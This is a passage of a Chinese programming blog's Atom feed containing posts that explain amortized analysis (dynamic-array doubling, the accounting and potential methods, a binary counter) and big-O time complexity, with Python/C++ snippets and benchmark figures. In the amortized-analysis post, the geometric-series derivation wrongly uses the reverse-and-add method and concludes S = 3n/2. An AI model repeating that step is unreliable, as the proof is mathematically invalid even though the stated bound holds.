KB”的限制，bzip2 在小文件上的劣势，tar 和 gzip 分成两个工具，每一个都是具体的设计决策，每一个都有它要解决的问题，也都有它留下的遗憾。理解这些取舍，比记住”ZIP 能压缩文件”有用得多。</p><p>最后留一句给以后会踩的坑：<strong>压缩不是一种让文件变小的魔法，它是一种用计算换空间的交易。既然它是交易，就有划算和不划算的时候。</strong>看清这笔交易的两头，就知道什么时候该压，什么时候该算了。</p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/879d/</id>
    <link href="https://moxin1044.github.io/posts/879d/"/>
    <published>2026-10-13T21:25:08.000Z</published>
    <summary>从 ZIP 文件头讲到香农熵：为什么压缩能让文件变小，为什么随机数据压不动，为什么套娃压缩不管用。含 300KB 级实测数据、LZ77 演示与四张图。</summary>
    <title>ZIP 为什么能让文件变小？—— 压缩的原理、格式与极限</title>
    <updated>2026-10-13T21:29:49.664Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="编程" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/"/>
    <category term="概论" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/%E6%A6%82%E8%AE%BA/"/>
    <category term="算法" scheme="https://moxin1044.github.io/tags/%E7%AE%97%E6%B3%95/"/>
    <category term="复杂度" scheme="https://moxin1044.github.io/tags/%E5%A4%8D%E6%9D%82%E5%BA%A6/"/>
    <category term="均摊分析" scheme="https://moxin1044.github.io/tags/%E5%9D%87%E6%91%8A%E5%88%86%E6%9E%90/"/>
    <category term="数据结构" scheme="https://moxin1044.github.io/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
    <category term="动态数组" scheme="https://moxin1044.github.io/tags/%E5%8A%A8%E6%80%81%E6%95%B0%E7%BB%84/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="什么是均摊复杂度？均摊分析？"><a href="#什么是均摊复杂度？均摊分析？" class="headerlink" title="什么是均摊复杂度？均摊分析？"></a>什么是均摊复杂度？均摊分析？</h1><p>上篇文章里我们聊了复杂度和它那个偷懒的写法，大 O。这次聊一个更刁钻的问题。</p><p>你妹妹的书包又出场了。她每次往书包里塞一本作业本，就是一次操作。书包满了怎么办？只能换一个更大的书包，然后把旧书包里的本子一本一本倒进新书包。</p><p>现在问题来了：<strong>“往书包里放一本本子”这个操作，到底有多快？</strong></p><ul><li>平时：掀开盖子塞进去，一秒钟。</li><li>换书包那次：要把旧书包里所有本子全部倒过去，本子越多越慢。</li></ul><p>如果只盯着最坏那一次，你会说：这个操作很慢，跟本子数量成正比。但如果盯着整个过程，你会发现换书包的次数少得可怜。</p><p><strong>同一个操作，两个完全不同的答案。</strong> 均摊分析就是用来处理这种事的。</p><h2 id="一、先说清楚：均摊不等于”平均”"><a href="#一、先说清楚：均摊不等于”平均”" class="headerlink" title="一、先说清楚：均摊不等于”平均”"></a>一、先说清楚：均摊不等于”平均”</h2><p>这是我见过最多人搞错的地方，所以放在最前面。</p><p>听到”均摊”两个字，很多人立刻想到”平均”。然后就想：平均嘛，就是对所有情况取个平均。</p><p><strong>不是这么回事。</strong></p><p>平常说的”平均复杂度”，背后藏着一个概率假设。比如快排的平均复杂度是 $O(n\log n)$，这个”平均”的意思是：<strong>假定输入数据是随机排列的</strong>，在这种假定下取平均。如果对手故意构造一组最坏数据喂给你，快排立刻掉到 $O(n^2)$。</p><p>均摊复杂度不一样。它不需要任何概率假设，也不需要假定输入是随机的。它说的是：</p><blockquote><p><strong>连续做 n 次操作，总代价除以 n，是多少。</strong></p></blockquote><p>这个结论对<strong>任意</strong>操作序列都成立，包括最坏的那种序列。它不是”通常情况下的平均值”，它是”<strong>无论如何，摊到每一次头上都不会超过多少</strong>“。</p><p>一句话区分：</p><div class="table-container"><table><thead><tr><th></th><th>前提</th><th>结论适用于</th></tr></thead><tbody><tr><td>平均情况分析</td><td>需要对输入分布做概率假设</td><td>只在那套假设下成立</td></tr><tr><td>均摊分析</td><td>不需要任何假设</td><td><strong>任意</strong>操作序列都成立</td></tr></tbody></table></div><p>所以”均摊 O(1)”是一个非常硬的结论，比”平均 O(1)”硬得多。</p><h2 id="二、动态数组：这件事的最好的例子"><a href="#二、动态数组：这件事的最好的例子" class="headerlink" title="二、动态数组：这件事的最好的例子"></a>二、动态数组：这件事的最好的例子</h2><p>现在回到书包，我们把这件事写成代码。</p><p>Python 的 <code>list</code> 和 C++ 的 <code>vector</code> 都是动态数组。它们一开始分配一块固定的内存，你往里加元素，加满了，它们就悄悄做一件事：<strong>申请一块更大的内存，把老数据全部搬过去，再继续往新地方加。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python：往里加元素</span></span><br><span class="line">a = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    a.append(i)      <span class="comment"># 大多数时候很快，偶尔触发一次&quot;搬家&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++：同样的事</span></span><br><span class="line">std::vector&lt;<span class="type">int</span>&gt; v;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">1000</span>; ++i)</span><br><span class="line">    v.<span class="built_in">push_back</span>(i);  <span class="comment">// 满了就重新分配 + 搬数据</span></span><br></pre></td></tr></table></figure><p>关键问题是：<strong>新内存申请多大？</strong></p><p>如果每次只多申请一格，那就灾难了。每加一个元素都要搬一次家，搬 m 个元素要 m 步，做 n 次就是 $1+2+\dots+n = O(n^2)$。这时候 append 就真的变成 $O(n)$ 了，没人用得起。</p><p>实际的做法是<strong>倍增</strong>：满了就开两倍大。于是搬家发生的时机是第 1、2、4、8、16……次。</p><p>那么 n 次 append 一共搬了多少个元素？</p><script type="math/tex; mode=display">1 + 2 + 4 + \dots + \frac{n}{2} + n \;<\; 2n</script><p>这是一个等比数列求和。用初中就学过的方法：设</p><script type="math/tex; mode=display">S = 1 + 2 + 4 + \dots + \frac{n}{2} + n</script><p>反过来写一遍：</p><script type="math/tex; mode=display">S = n + \frac{n}{2} + \dots + 4 + 2 + 1</script><p>两个式子相加，每一项都变成 $2 \times$ 对应的项，中间全部消掉：</p><script type="math/tex; mode=display">2S = 2n + n + \dots + n = 3n \quad\Longrightarrow\quad S = \frac{3n}{2} < 2n</script><p>所以搬运的总代价小于 $2n$。再加上 n 次插入本身：</p><script type="math/tex; mode=display">\text{总代价} \le n + 2n = 3n \quad\Longrightarrow\quad \text{均摊} = \frac{3n}{n} = O(1)</script><p><strong>这是均摊分析里最干净的一个推导，值得记住。</strong> 贵的操作不是消失了，是它们出现的次数足够少，少到可以被便宜的操作分摊掉。</p><h2 id="三、实测：那些”偶尔很贵”的操作到底长什么样"><a href="#三、实测：那些”偶尔很贵”的操作到底长什么样" class="headerlink" title="三、实测：那些”偶尔很贵”的操作到底长什么样"></a>三、实测：那些”偶尔很贵”的操作到底长什么样</h2><p>上面是数学。我更喜欢看真的东西，所以我在自己机器上跑了 30 万次 append，把每一次花的时间都记了下来。</p><p><img src="/attachments/fig1_逐次耗时.png" alt="图一：每一次 append 的耗时"></p><p>看<strong>图一</strong>。纵轴是对数刻度，也就是说每一格差 10 倍。绝大多数点趴在底下，那是一次普通的插入。红色的竖线是扩容的位置，一共 76 条。尖刺就是从这些线上窜起来的。</p><p>具体数字：</p><div class="table-container"><table><thead><tr><th>指标</th><th>数值</th></tr></thead><tbody><tr><td>测试规模</td><td>300,000 次 append</td></tr><tr><td>单次耗时中位数</td><td><strong>156 纳秒</strong></td></tr><tr><td>全程平均耗时</td><td><strong>676 纳秒</strong></td></tr><tr><td>最慢一次</td><td><strong>74,269 纳秒</strong></td></tr><tr><td>扩容次数</td><td><strong>76 次</strong>（占全部操作的 0.0253%）</td></tr></tbody></table></div><p>注意中位数和平均差了 4 倍多。原因是那 76 次扩容（占总数的万分之二点五）非常贵，把平均值整个拉了起来。</p><p><strong>现在关键的一步在这里：</strong></p><p><img src="/attachments/fig2_累计平均收敛.png" alt="图二：累计平均的收敛"></p><p><strong>图二</strong>横轴是”已经 append 了多少次”（对数轴），纵轴是”到目前为止平均每次耗时”。你会看到这条线一开始剧烈波动，然后越来越稳，最后趴在 676 纳秒附近不动了。</p><p><strong>这条平稳的线就是”均摊 O(1)”的真身。</strong> 它不是对某一次操作的预言，它是总账除以次数的结果。扩容还会不时发生，尖刺还会不时出现，但累计平均不会再涨上去。</p><p>我又用 C++ 的 <code>std::vector</code> 跑了一遍同样的规模：中位数 29 纳秒，平均 65 纳秒，最慢一次 722,283 纳秒。<strong>最慢比中位数慢了将近 25,000 倍。</strong> 这个倍数听着吓人，但它仍然是均摊 O(1)，因为它在 30 万次里只出现了 20 次。</p><h2 id="四、三种分析方法"><a href="#四、三种分析方法" class="headerlink" title="四、三种分析方法"></a>四、三种分析方法</h2><p>均摊分析不是只有一种做法。教科书里讲了三种，我按好用的顺序说。</p><h3 id="方法一：聚合法"><a href="#方法一：聚合法" class="headerlink" title="方法一：聚合法"></a>方法一：聚合法</h3><p>就是上面做的那件事：先把 n 次操作的总代价算出来，再除以 n。</p><script type="math/tex; mode=display">\frac{\text{总代价}}{n} = \text{每次的均摊代价}</script><p>适合”整体好算、单次不好算”的情形。动态数组和二进制计数器都属于这一类。</p><h3 id="方法二：记账法"><a href="#方法二：记账法" class="headerlink" title="方法二：记账法"></a>方法二：记账法</h3><p>这个方法最像生活。思路是：<strong>每次便宜操作的时候，多收一点钱存着；等到昂贵操作发生时，从存款里付。</strong></p><p>拿 append 举例。假设每存一个元素收费 3 块：</p><ul><li>1 块用来完成这次插入；</li><li>2 块存进一个”搬家基金”。</li></ul><p>等到需要搬家时，要复制 m 个元素，花 m 块。而搬家基金里有多少钱？从上次搬家到现在，一共插入了 $m/2$ 个元素（因为容量翻倍），每个存 2 块：</p><script type="math/tex; mode=display">2 \times \frac{m}{2} = m</script><p><strong>正好够付。</strong></p><p>这个推导里最漂亮的地方在于：我们不需要知道搬家什么时候发生，只需要保证存款始终够用。这就叫”用便宜的操作给贵操作预付”。</p><h3 id="方法三：势能法"><a href="#方法三：势能法" class="headerlink" title="方法三：势能法"></a>方法三：势能法</h3><p>记账法很直白，但它有个弱点：你得凭直觉去设”收费多少”。势能法把这个直觉变成了公式。</p><p>定义一个函数 $\Phi$，叫势能，表示数据结构当前”存了多少没付的账”。第 i 次操作的均摊代价定义成：</p><script type="math/tex; mode=display">\hat{c}_i = c_i + \Phi(D_i) - \Phi(D_{i-1})</script><p>其中 $c_i$ 是真实代价，$D_i$ 是第 i 次操作后的状态。</p><p>这一行读出来就是：均摊代价等于真实代价，加上这次操作为未来存下的账。</p><p>把 n 次加起来，中间的势能项会一路对消：</p><script type="math/tex; mode=display">\sum_{i=1}^{n} \hat{c}_i = \sum_{i=1}^{n} c_i + \Phi(D_n) - \Phi(D_0)</script><p>只要 $\Phi(D_n) \ge \Phi(D_0)$，就有 $\sum \hat{c}_i \ge \sum c_i$。也就是说，<strong>用均摊代价去估计总代价，只会高估，不会低估</strong>，这是安全的。</p><p>对动态数组，取 $\Phi = 2 \times \text{size} - \text{capacity}$（size 是元素数，capacity 是已分配的空间）。不扩容时，每次操作势能增加 2，均摊代价 $1 + 2 = 3$；扩容那一次，势能大幅下降，正好把真实代价抵消掉，均摊还是 3。</p><p>三种方法算出来的都是同一个数。聚合法最好懂，记账法最直观，势能法最通用，也最难看懂。工程上你几乎不会真的去写势能函数，但是读论文的时候会碰到它。</p><h2 id="五、再练一个：二进制计数器"><a href="#五、再练一个：二进制计数器" class="headerlink" title="五、再练一个：二进制计数器"></a>五、再练一个：二进制计数器</h2><p>这是均摊分析的另一个标准例子，我拿它又跑了一次实测。</p><p>一个 $k$ 位的二进制计数器，从 0 开始，每次 +1。加的时候可能会有连锁进位，比如 7 变成 8：</p><script type="math/tex; mode=display">0111 \to 1000</script><p>这一下翻动了 4 位。看起来很贵。那么每次 +1 平均翻几位？</p><p>数一下：第 1 位每次 +1 都翻；第 2 位每 2 次翻一次；第 3 位每 4 次翻一次。所以 n 次自增的总翻转次数是：</p><script type="math/tex; mode=display">\frac{n}{2^0} + \frac{n}{2^1} + \frac{n}{2^2} + \dots < 2n</script><p>均摊到每次：</p><script type="math/tex; mode=display">\frac{2n}{n} = O(1)</script><p>我实测了 1 到 5000 的自增：<strong>平均每次翻转 2.00 位</strong>，最坏一次 13 位。</p><p><img src="/attachments/fig3_二进制计数器.png" alt="图三：二进制计数器的翻转次数"></p><p><strong>图三</strong>左边是每一次 +1 翻了几位，右边是累计平均。看右边那条绿线，它稳稳地落在 2 上，和理论值一模一样。左边那些高高低低的柱子（最坏 13 位）全都被平均掉了。</p><p>理论值 2，实测 2.00。这种对上号的感觉，比读十页证明都让人踏实。</p><h2 id="六、均摊分析有个重要的限制，别用错地方"><a href="#六、均摊分析有个重要的限制，别用错地方" class="headerlink" title="六、均摊分析有个重要的限制，别用错地方"></a>六、均摊分析有个重要的限制，别用错地方</h2><p>写到这里必须停一下，说个容易被忽略的事。</p><p><strong>均摊 O(1) 不保证每一次都快。</strong></p><p>它保证的是”总的账摊下来很便宜”，它对<strong>单次</strong>操作没有任何承诺。上面那个 C++ 测试里，有一次 append 花了 722 微秒，是从前一次的一万倍以上。均摊分析对此完全不否认，它只是说：这种破事很少发生。</p><p>所以在有些场景里，均摊结论<strong>不管用</strong>：</p><ul><li><strong>实时系统。</strong> 如果一个操作必须在 100 微秒内返回，那平均下来再便宜也没用。你碰上那一次 722 微秒的，就是事故。</li><li><strong>延迟敏感的交互。</strong> 游戏、音视频编辑、交易撮合，用户能感觉到卡顿。偶发的长停顿会被直接投诉。</li><li><strong>对最坏情况有硬性要求的算法。</strong> 比如某些安全协议要求严格的时间上界，你不敢用一个偶尔会抽风的操作。</li></ul><p>这类场合需要的不是均摊保证，是<strong>最坏情况保证</strong>。有些数据结构专门做了这个取舍，比如用”每次搬一点、分散着搬”的办法（增量式 rehash、实时队列），代价通常是要维护更复杂的结构。</p><p><strong>同一个结论，在不同的场景里价值完全不同。</strong> 判断一个结论能不能用，先看它对”最坏一次”作不作承诺。</p><h2 id="七、工程里还有一堆均摊"><a href="#七、工程里还有一堆均摊" class="headerlink" title="七、工程里还有一堆均摊"></a>七、工程里还有一堆均摊</h2><p>均摊分析不是学术摆设，它是很多你天天在用的东西的基础。举几个：</p><ul><li><strong>哈希表扩容。</strong> 元素多了要扩大桶数组、重新分配所有元素。单次很贵，均摊之后插入还是 $O(1)$。Python 的 <code>dict</code>、C++ 的 <code>unordered_map</code>、Java 的 <code>HashMap</code>，背后都是这套。</li><li><strong>并查集。</strong> 路径压缩加按秩合并，单次操作的最坏代价不好看，但均摊下来是 $O(\alpha(n))$。$\alpha$ 是反阿克曼函数，对任何现实中的 n 都不会超过 4。这是均摊分析里最著名的结果之一。</li><li><strong>单调栈 / 单调队列。</strong> 每个元素最多进栈一次、出栈一次，所以整个过程是 $O(n)$，哪怕某一次操作会连着弹出一大堆。</li><li><strong>伸展树。</strong> 单次操作可能是 $O(n)$，均摊是 $O(\log n)$。</li><li><strong>KMP 的失配跳转。</strong> 看着那个 while 循环会回退很多步，但整个匹配过程是线性的。</li></ul><p>它们有个共同点：<strong>昂贵的动作不会凭空消失，但它的总次数被某个不变量卡住了。</strong> 找到那个不变量，就是均摊分析的全部工作。</p><h2 id="八、我不知道的部分"><a href="#八、我不知道的部分" class="headerlink" title="八、我不知道的部分"></a>八、我不知道的部分</h2><p>有几个地方我不想装懂。</p><ul><li><strong>三种方法是等价的吗？</strong> 对同一份分析，它们给出的界是一样的，聚合法和记账法在数学上可以互相翻译。但具体到某个问题上用哪个更顺手，是经验问题，我承认我是靠试。</li><li><strong>势能函数怎么找？</strong> 教科书教的是”定义成这个就对了”，但没人告诉你第一眼怎么猜出来。我的经验是：先看昂贵操作发生时，哪个量会突然变小，把它反过来当势能。这是技巧，不是方法。</li><li><strong>这篇里的所有实测数据都来自我这台机器的一次运行。</strong> 不同机器、不同编译器、不同时刻，绝对值会差很多倍。但<strong>中位数和平均值之间那种数量级的差距</strong>，以及累计平均会收敛这件事，是稳定的，那才是均摊分析在说的东西。</li></ul><h2 id="九、一句话记住"><a href="#九、一句话记住" class="headerlink" title="九、一句话记住"></a>九、一句话记住</h2><p>均摊分析问的问题只有一句：</p><blockquote><p><strong>做 n 次操作，总账除以 n，是多少？</strong></p></blockquote><p>它跟”平均情况”最大的区别是：<strong>它不需要你假设输入长什么样。</strong> 这是它硬气的地方。</p><p>再用一句话配上一个动作：</p><blockquote><p>路上偶尔有个坑，不代表这条路平均速度很差；<br><strong>但如果你开的是救护车，你就得管那个坑到底有多深。</strong></p></blockquote><h2 id="十、自己试"><a href="#十、自己试" class="headerlink" title="十、自己试"></a>十、自己试</h2><p>照旧，读是没用的。</p><ol><li><strong>亲手看见尖刺。</strong> 用 30 万次 <code>append</code>，把每一次的耗时记下来画散点图。你会亲眼看到那 76 根尖刺。</li><li><strong>把倍增改成加一。</strong> 自己写一个”每次只多申请一格”的动态数组，跑同样规模，对比耗时。你会第一次真切感觉到：<strong>均摊 O(1) 不是白来的，是靠一个具体策略换来的。</strong></li><li><strong>算一个你自己的例子。</strong> 找一个你项目里”偶尔会慢”的操作，数一数它到底多久发生一次，用总代价除以总次数算一算。很多时候你会发现它根本不是问题，只是那一次很难看。</li></ol><p>如果你算完发现它真的有问题，恭喜你，你已经学会均摊分析了。</p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/6254/</id>
    <link href="https://moxin1044.github.io/posts/6254/"/>
    <published>2026-10-13T21:16:57.000Z</published>
    <summary>用妹妹的书包讲清均摊分析：均摊为什么不等于平均情况，动态数组倍增扩容为什么是均摊 O(1)，附三张实测图与 30 万次 append 的真实耗时数据。</summary>
    <title>什么是均摊复杂度？均摊分析？</title>
    <updated>2026-10-13T21:17:29.198Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="编程" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/"/>
    <category term="概论" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/%E6%A6%82%E8%AE%BA/"/>
    <category term="算法" scheme="https://moxin1044.github.io/tags/%E7%AE%97%E6%B3%95/"/>
    <category term="复杂度" scheme="https://moxin1044.github.io/tags/%E5%A4%8D%E6%9D%82%E5%BA%A6/"/>
    <category term="数据结构" scheme="https://moxin1044.github.io/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
    <category term="大O" scheme="https://moxin1044.github.io/tags/%E5%A4%A7O/"/>
    <category term="费曼学习法" scheme="https://moxin1044.github.io/tags/%E8%B4%B9%E6%9B%BC%E5%AD%A6%E4%B9%A0%E6%B3%95/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="时间复杂度与空间复杂度详解"><a href="#时间复杂度与空间复杂度详解" class="headerlink" title="时间复杂度与空间复杂度详解"></a>时间复杂度与空间复杂度详解</h1><blockquote><p>时间复杂度和空间复杂度，是衡量算法效率的两个核心度量。下面从”数一数”这种最直观的方式讲起，给出大 O 的形式化定义，配上 C++ / Python 双版本代码、公式推导和三张图，中间点几个常见误区，也说说这篇讲不到的地方。</p></blockquote><p>这两天在教一个小孩子学习算法，用一种简单的思维讲解时间复杂度和空间复杂度。</p><hr><h2 id="一、先别管名字，来数一数"><a href="#一、先别管名字，来数一数" class="headerlink" title="一、先别管名字，来数一数"></a>一、先别管名字，来数一数</h2><p>假设你妹妹让你帮她在书包里找一本作业本。</p><p>书包里有 <strong>3 本</strong>本子的时候，你抓两下就找到了，用了 2 秒。<br>书包里有 <strong>30 本</strong>本子的时候，你要翻一会儿，用了 20 秒。<br>书包里有 <strong>300 本</strong>本子的时候，你翻了两个小时。</p><p>现在我问你一个问题，<strong>“找本子”这件事，到底”有多快”？</strong></p><p>你可能会说：”2 秒。”</p><p>错。<strong>2 秒是书包里有 3 本时的答案。</strong> 本子变成 300 本，答案就变成了两个小时。</p><p>所以真正要问的，是下面这句话。</p><blockquote><p><strong>本子每多一倍，我要多用多少时间？</strong></p></blockquote><p>这就是”复杂度”这个词真正在问的东西。<strong>它不关心你跑得多快，关心的是东西变多了以后，你变慢的速度有多快。</strong></p><p>我觉得这是理解复杂度的<strong>唯一</strong>入口。如果你记住了 <code>O(n²)</code> 这四个字符，但不知道它在问这个，那你只是在背咒语——飞机不会因为机场修得像飞机场就降落。</p><hr><h2 id="二、大-O：一种”只留主干”的写法"><a href="#二、大-O：一种”只留主干”的写法" class="headerlink" title="二、大 O：一种”只留主干”的写法"></a>二、大 O：一种”只留主干”的写法</h2><p>我妹妹真正找本子的动作是这样的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">翻开第 1 本 → 不是</span><br><span class="line">翻开第 2 本 → 不是</span><br><span class="line">翻开第 3 本 → 不是</span><br><span class="line">...</span><br><span class="line">翻开第 n 本 → 找到了</span><br></pre></td></tr></table></figure><p>一共翻了 <strong>n</strong> 次。（n 就是本子的数量。）</p><p>如果每翻一本要花 <strong>0.1 秒</strong>，还要先花 <strong>2 秒</strong>拉开书包拉链，那总时间是：</p><script type="math/tex; mode=display">T(n) = 0.1n + 2</script><blockquote><p>翻本子的力气（<code>0.1n</code>）是主角，拉开书包拉链那两秒（<code>+2</code>）是个跑龙套的。</p></blockquote><p>现在把 n 取几个数：</p><div class="table-container"><table><thead><tr><th>n（本子数）</th><th>0.1n</th><th>+2</th><th>总时间</th></tr></thead><tbody><tr><td>10</td><td>1</td><td>2</td><td>3</td></tr><tr><td>100</td><td>10</td><td>2</td><td>12</td></tr><tr><td>1000</td><td>100</td><td>2</td><td>102</td></tr><tr><td>10000</td><td>1000</td><td>2</td><td>1002</td></tr></tbody></table></div><p>看最后一列，n 从 100 涨到 10000（100 倍），总时间从 12 涨到 1002，<strong>涨了大约 83 倍。</strong></p><p>再看 <code>0.1n</code> 这一项，12 里它占 10，1002 里它占 1000。<strong>它一直是主角。</strong> 而那个 <code>+2</code>（拉链的时间）在 n 很小的时候还有点存在感，n 一大就完全不算数了。</p><p>这就是大 O 的全部秘密。</p><blockquote><p>当 n 变得很大很大时，只留下<strong>涨得最凶</strong>的那一项，把前面的系数和后面加的小尾巴都扔掉。</p></blockquote><p>写成数学语言，就是：</p><script type="math/tex; mode=display">0.1n + 2 \;\longrightarrow\; O(n)</script><blockquote><p>这就像报身高，1.83 米报成 1.8 米，没人跟你较真那 3 厘米；报成 2 米，那就要吵一架了。</p></blockquote><p>更严谨一点，大 O 的定义是：<strong>存在</strong>两个正常数 $c$ 和 $n_0$，使得对<strong>所有</strong> $n \ge n_0$ 都有</p><script type="math/tex; mode=display">T(n) \le c \cdot f(n)</script><blockquote><p>就是「不管你怎么跑，我这条线永远压在你头上」。大 O 是一根<strong>天花板</strong>，它不保证贴得多近，只保证你<strong>撞不穿</strong>。</p></blockquote><p>这时我们就写 $T(n) = O(f(n))$。翻译成人话就是，</p><blockquote><p><strong>“从某个 n 开始，它的增长速度不会超过 f(n) 的某个倍数。”</strong></p></blockquote><p>注意这里我用了”增长”和”不超过”，<strong>大 O 说的是一根上限，不是一个精确值。</strong> 它天生就是个偷懒的写法，而且这个偷懒是第一流的。因为当 n 足够大时，你根本不需要知道精确值，你只需要知道<strong>它在怎么涨</strong>。</p><hr><h2 id="三、五种涨法（图一）"><a href="#三、五种涨法（图一）" class="headerlink" title="三、五种涨法（图一）"></a>三、五种涨法（图一）</h2><p>把最常见的那几种”涨法”画出来，你会一眼看懂为什么计算机老师总在念叨它们：</p><p><img src="/attachments/fig1_复杂度阶梯.png" alt="图一：复杂度阶梯"></p><p><strong>图一</strong>，横轴是数据量 n，纵轴是要做的操作次数。注意红色那条 <code>O(n²)</code>，它一开始很谦虚，到后面直接冲上天。</p><p>我用找本子来翻译这五条：</p><div class="table-container"><table><thead><tr><th>记号</th><th>名字</th><th>找本子的版本</th></tr></thead><tbody><tr><td>$O(1)$</td><td>常数</td><td>本子就在你手上，不用找</td></tr><tr><td>$O(\log n)$</td><td>对数</td><td>每次翻到中间，直接砍掉一半</td></tr><tr><td>$O(n)$</td><td>线性</td><td>一本一本翻</td></tr><tr><td>$O(n\log n)$</td><td>线性对数</td><td>先分成小堆再整理（好排序的做法）</td></tr><tr><td>$O(n^2)$</td><td>平方</td><td>每两本都要互相比一遍</td></tr></tbody></table></div><p>这里有个特别容易搞混的点。你一定会听到有人说”$O(n)$ 比 $O(n^2)$ 快”，这句话<strong>不完全对</strong>。</p><p>它准确的说法是，<strong>当 n 足够大的时候，$O(n)$ 才一定比 $O(n^2)$ 快。</strong> n 小的时候，一条 <code>O(n²)</code> 的代码完全可能跑赢一条 <code>O(n)</code> 的代码，只要它每条指令写得更精简。</p><p>看<strong>图二</strong>你就明白了。同一份代码，n=8 的时候两条线几乎贴在一起，你根本看不出谁好谁坏；n=60 的时候，一个上一个冲天。</p><p><img src="/attachments/fig2_小n与大n.png" alt="图二：n 小时看不出来"></p><blockquote><p><strong>这是我见过的、最值得记住的一件事：如果数据不够大，你测出来的快慢可能是假的。</strong></p></blockquote><p>我是做工程的人，对这种事特别敏感——实验做得不对，数据就会骗你，而且它骗得特别自然，让你觉得你懂了。</p><hr><h2 id="四、例子一：找人（-O-n-对上-O-log-n-）"><a href="#四、例子一：找人（-O-n-对上-O-log-n-）" class="headerlink" title="四、例子一：找人（$O(n)$ 对上 $O(\log n)$）"></a>四、例子一：找人（$O(n)$ 对上 $O(\log n)$）</h2><p>现在上代码。<strong>同一件事，我们写两种做法。</strong></p><h3 id="做法-A：一本一本翻（-O-n-）"><a href="#做法-A：一本一本翻（-O-n-）" class="headerlink" title="做法 A：一本一本翻（$O(n)$）"></a>做法 A：一本一本翻（$O(n)$）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">线性查找</span>(<span class="params">名单, 目标</span>):</span><br><span class="line">    <span class="keyword">for</span> 名字 <span class="keyword">in</span> 名单:        <span class="comment"># 从头看到尾</span></span><br><span class="line">        <span class="keyword">if</span> 名字 == 目标:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// C++ —— 同一件事</span></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">linear_search</span><span class="params">(<span class="type">const</span> vector&lt;string&gt;&amp; names, <span class="type">const</span> string&amp; target)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">const</span> <span class="keyword">auto</span>&amp; n : names)   <span class="comment">// 从头看到尾</span></span><br><span class="line">        <span class="keyword">if</span> (n == target) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最坏情况下要看 n 次。所以：</p><script type="math/tex; mode=display">T(n) = O(n)</script><h3 id="做法-B：每次砍掉一半（-O-log-n-）"><a href="#做法-B：每次砍掉一半（-O-log-n-）" class="headerlink" title="做法 B：每次砍掉一半（$O(\log n)$）"></a>做法 B：每次砍掉一半（$O(\log n)$）</h3><p><strong>但是</strong>，如果名单是<strong>排好序</strong>的（比如按拼音排好），你就能干一件聪明得离谱的事。</p><p>先翻<strong>中间</strong>那本。</p><ul><li>如果中间这本的拼音<strong>在你找的名字前面</strong>，那你要找的肯定在<strong>后半边</strong>，前边一半整块扔掉。</li><li>如果<strong>在后面</strong>，后边一半扔掉。</li></ul><p>每翻一次，<strong>名单就少一半。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">二分查找</span>(<span class="params">有序名单, 目标</span>):</span><br><span class="line">    左, 右 = <span class="number">0</span>, <span class="built_in">len</span>(有序名单) - <span class="number">1</span></span><br><span class="line">    <span class="keyword">while</span> 左 &lt;= 右:</span><br><span class="line">        中 = (左 + 右) // <span class="number">2</span></span><br><span class="line">        <span class="keyword">if</span> 有序名单[中] == 目标:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">elif</span> 